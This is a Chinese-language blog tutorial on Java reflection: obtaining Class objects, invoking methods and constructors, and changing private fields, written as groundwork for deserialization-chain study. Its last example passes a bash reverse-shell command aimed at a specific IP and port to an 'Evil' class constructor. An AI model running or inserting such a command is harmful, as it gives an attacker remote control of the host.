java反射

本文写于2024-11-14 ,最后修改于2025-3-17

java反射


写在前面


最近花了很长的时间去学习java,前后把Java se ,Java web,spring boot都搞了一遍(还搞了个springboot项目当练手):
Bilibili-Film-Area-top-webcrawler。现在终于有心回来搞安全了


最近打算开始学链子的内容,从反射开始一步一步走。反正考完数电无事可做,就当是消磨时间了


举例


例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class testForName {
public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException {
Class c = Class.forName("student");
Class c1 = new student(2,"wm").getClass();
Class c2 = student.class;
//c,c1,c2指向同一个Class对象
System.out.println(c2.getMethod("getName"));

Class c3 = c.getSuperclass();
System.out.println(c3.getMethod("getJob"));
}
}

class person{
private String job = "工人";

public String getJob() {
return job;
}

public void setJob(String job) {
this.job = job;
}
}
class student extends person{
private int id = 0;
private String name = "mak";

public int getId() {
return id;
}

public String getName() {
return name;
}

public student(int id, String name) {
this.id = id;
this.name = name;
}

public void setId(int id) {
this.id = id;
}

@Override
public String toString() {
return "student{" +
"id=" + id +
", name='" + name + '\'' +
'}';
}
}



获取Class对象:


1.通过类名

1
Class c = Class.forName("student");

Class.forName(“类名”) 即后文的student类


2.通过实例

1
Class c1 = new student(2,"wm").getClass();

这里是通过Object的getClass方法获得一个对象对应的类的Class对象。大概意思就是通过一个实例化之后的对象找到对应的class对象,有点绕


3.通过类名.class

1
Class c2 = student.class;

和第一种方法差不多,如果有新的理解我再补充


获取对象中的方法:


1
System.out.println(c2.getMethod("getName"))

通过getMethod方法获取 student 类中的 getName 方法。


获取父类的方法

1
2
3
Class c3 = c.getSuperclass();
System.out.println(c3.getMethod("getJob"));

c.getSuperclass()意思是获取 student 的父类 Class 对象,这里是 person 类。
通过getMethod方法在 person 类中获得 getJob 方法。


操作对象


接下来以这个类来举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class student {
private int id = 0;
private String name = "mak";

public int getId() {
return id;
}

public String getName() {
return name;
}

public student(int id, String name) {
this.id = id;
this.name = name;
}

public void setName(String name) {
this.name = name;
}

public void setId(int id) {
this.id = id;
}

void test(String name){
System.out.println("hello,"+this.name+" and "+name);
}

@Override
public String toString() {
return "student{" +
"id=" + id +
", name='" + name + '\'' +
'}';
}
}

通过反射创造对象:


1
2
Class stuclass = Class.forName("student");
student stu = (student)stuclass.newInstance();

首先是获取 student 类的 Class 对象,这个在前面有讲,不在叙述。
student stu = (student)stuclass.newInstance(); 这句话的目的其实是创建一个student类的一个名叫stu实例。
stuclass.newInstance()会通过 student 类的无参构造函数来创建一个 student 类的对象。这里要求 student 类必须有一个无参构造函数。而newInstance() 返回一个 Object 类型,所以需要进行类型转换 (student),将返回的对象强制转换为 student 类型。


通过反射创造带参构造器的对象:


1
2
Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

stuclass.getConstructor(int.class, String.class) 用于获取 student 类中接受 int 和 String 两个参数的构造函数。

这里对应了例子中的:

1
2
3
4
public student(int id, String name) {
this.id = id;
this.name = name;
}

关于Constructor 对象:

Constructor 对象是 Java 反射机制中的一部分,用于表示类的构造函数。它的存在是为了提供一种方式,允许程序在运行时动态地访问和使用构造函数创建对象实例。与 Method 对象(用于表示普通方法)类似,Constructor 对象专门负责构造函数的管理。


执行对象方法


1
2
3
4
Method stname = stuclass.getMethod("setName", String.class); //获取类的方法,参数:方法名,方法参数类型的Class
stname.invoke(stu1,"wm"); //invoke(激活):执行函数,参数:(用于执行函数的对象,函数参数)
Method hello = stuclass.getDeclaredMethod("test", String.class);
hello.invoke(stu1,"abc");

stuclass.getMethod(“setName”, String.class):从 stuclass(即 student 类的 Class 对象)中获取 setName 方法。
getMethod() 的第一个参数是方法名,第二个参数是方法的参数类型

stname.invoke(stu1, “wm”):通过反射调用 stname 方法,即调用 stu1 对象的 setName 方法,并传入参数 “wm”。

hello方法同理,不在叙述

操作对象属性


1
2
3
4
Field stuid = stuclass.getDeclaredField("name");
stuid.setAccessible(true); //对于修改private属性,要先关闭程序安全检测(默认为true)
stuid.set(stu1,"wm1111"); //set修改,参数:要修改属性的对象,修改后的值
hello.invoke(stu1,"def");

通过反射来访问并修改 student 类的私有属性 name,然后再次调用 test 方法

stuclass.getDeclaredField(“name”):从 stuclass(即 student 类的 Class 对象)中获取 name 字段(即属性)

关于set方法:

set() 方法不是 Class 类,而是 Field 类 的方法。Field 类在 java.lang.reflect 包中,用于表示类的属性(字段)。通过 Field 对象的 set() 方法,可以为特定对象的字段设置值。


写在后面


唉,体测


补充于2025.3.15


关于获取构造方法和构造方法


什么是构造方法?


在编程语言中,构造方法(Constructor)是一种特殊的成员方法,用于在创建对象时初始化对象的状态。构造方法的名称与类名相同,并且没有返回值(甚至不能声明为 void )。构造方法的主要作用是为对象分配内存并初始化对象的属性。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Person {
private String name;
private int age;

// 无参构造方法
public Person() {
this.name = "Unknown";
this.age = 0;
}

// 带参构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}


不加显示声明的构造方法


1
2
3
4
5
6
7
8
9

class Evil {
private String cmd;

// 包级私有构造方法
Evil(String cmd) {
this.cmd = cmd;
}
}
  • 访问范围:只有同一包内的类可以访问该构造方法。

  • 应用场景:这种访问权限通常用于库开发或内部实现,限制类的实例化只能在特定的包内进行。


反射调用构造方法


使用反射调用构造方法又两种方式:

1
2
3
4
5
6
Constructor constr = stuclass.getConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");


Constructor constr = stuclass.getDeclaredConstructor(int.class,String.class); //获取类的构造器,参数:构造器参数类型的class
student stu1 = (student) constr.newInstance(12,"Tom");

区别在于:

getConstructor :

  • 该方法用于获取类的公共(public)构造函数。

  • 它只返回那些可以被外部访问的构造函数。

  • 如果没有找到匹配的公共构造函数,会抛出 NoSuchMethodException 。


getDeclaredConstructor

  • 该方法用于获取类的所有构造函数,包括私有(private)、受保护(protected)和包私有(package-private)的构造函数。

  • 它可以返回类中定义的所有构造函数,无论它们的访问权限如何。

  • 如果没有找到匹配的构造函数,也会抛出 NoSuchMethodException 。


示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
//使用反射访问构造方法

Class evilClass = Class.forName("Evil");
Constructor<?> constructor = evilClass.getDeclaredConstructor(String.class);
Evil Evilcon = (Evil)constructor.newInstance("bash -i >& /dev/tcp/107.174.159.179/23172 0>&1");

//原构造方法

......

Evil(String cmd) {
this.cmd = cmd;
}